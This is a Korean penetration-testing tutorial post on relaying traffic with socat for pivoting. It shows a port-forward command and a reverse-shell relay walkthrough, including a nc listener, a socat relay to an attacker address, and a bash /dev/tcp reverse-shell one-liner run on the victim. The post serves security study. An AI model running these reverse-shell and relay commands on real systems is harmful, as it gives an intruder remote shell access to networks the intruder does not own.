hhkb
모의해킹

피버팅과터널링_17_Socat 중계

작성자 : Heehyeon Yoo|2025-12-20
# 모의해킹# PNT# Socat# PortForwarding# Relay

1. 개요

Socat(Socket Cat)은 "네트워킹의 맥가이버 칼"이라고 불리는 강력한 도구로, 두 개의 독립적인 데이터 스트림(Sink)을 연결하여 데이터를 중계(Relay)하는 역할을 한다.

SSH나 Chisel 같은 전용 터널링 도구가 없는 환경, 혹은 단순히 특정 포트를 다른 포트로 토스(Toss)해주는 간단하고 빠른 포트 포워딩이 필요할 때 가장 효과적이다. 대부분의 리눅스 배포판에 기본 설치되어 있거나 쉽게 설치 가능하다.

2. 동작 원리

Socat은 "주소 1 <---> 주소 2" 형태의 양방향 파이프를 생성한다.
데이터가 주소 1로 들어오면 주소 2로 전송하고, 주소 2에서 응답이 오면 주소 1로 다시 전송한다. 이 "주소"에는 TCP 포트, UDP 포트, 파일, 파이프, 소켓 파일 등 다양한 대상이 올 수 있다.

3. 피버팅 활용 예시

3.1 로컬 포트 포워딩 (Forwarding)

피벗 호스트(10.1.10.10)가 중계자가 되어, 공격자가 보내는 트래픽을 내부 타겟(10.1.20.50:80)으로 전달하고 싶을 때 사용한다.

# 피벗 호스트에서 실행
# TCP4-LISTEN:8080 -> 8080번 포트 리스닝
# TCP4:10.1.20.50:80 -> 들어온 트래픽을 Target의 80으로 전달
# fork: 다중 접속 허용
socat TCP4-LISTEN:8080,fork TCP4:10.1.20.50:80

이제 공격자가 10.1.10.10:8080으로 접속하면, 실제로는 10.1.20.50:80 웹 서버와 통신하게 된다.

3.2 리버스 쉘 중계 (Reverse Shell Relay)

내부망 깊숙한 곳의 타겟(10.1.20.50)이 인터넷(공격자 10.8.0.5)으로 직접 나갈 수 없을 때, 인터넷이 되는 피벗 호스트(10.1.10.10)를 경유지로 활용한다.

  1. 공격자 (Attacker):
    # 80번 포트에서 리버스 쉘 대기
    nc -lvnp 80
    
  2. 피벗 호스트 (Relay):
    # 1234번 포트로 들어오는(Target에서 오는) 연결을
    # 공격자(10.8.0.5:80)에게 전달
    socat TCP4-LISTEN:1234,fork TCP4:10.8.0.5:80
    
  3. 타겟 (Victim):
    # 피벗 호스트의 1234번 포트로 리버스 쉘 발사
    bash -i >& /dev/tcp/10.1.10.10/1234 0>&1
    

타겟은 피벗 호스트로 연결했지만(Outbound), Socat이 이를 공격자에게 중계해주므로 최종적으로 공격자는 쉘을 획득하게 된다.

4. 장단점

  • 장점: 설정이 매우 직관적이고 빠르다. 별도의 인증 과정이나 복잡한 핸드쉐이크가 없다.
  • 단점: 기본적으로 평문 통신이다. (단, OPENSSL 옵션을 사용하면 암호화된 터널을 생성할 수 있다). 또한, 프로세스가 종료되면 연결이 끊기므로 지속성을 위해서는 백그라운드 서비스 등록이 필요하다.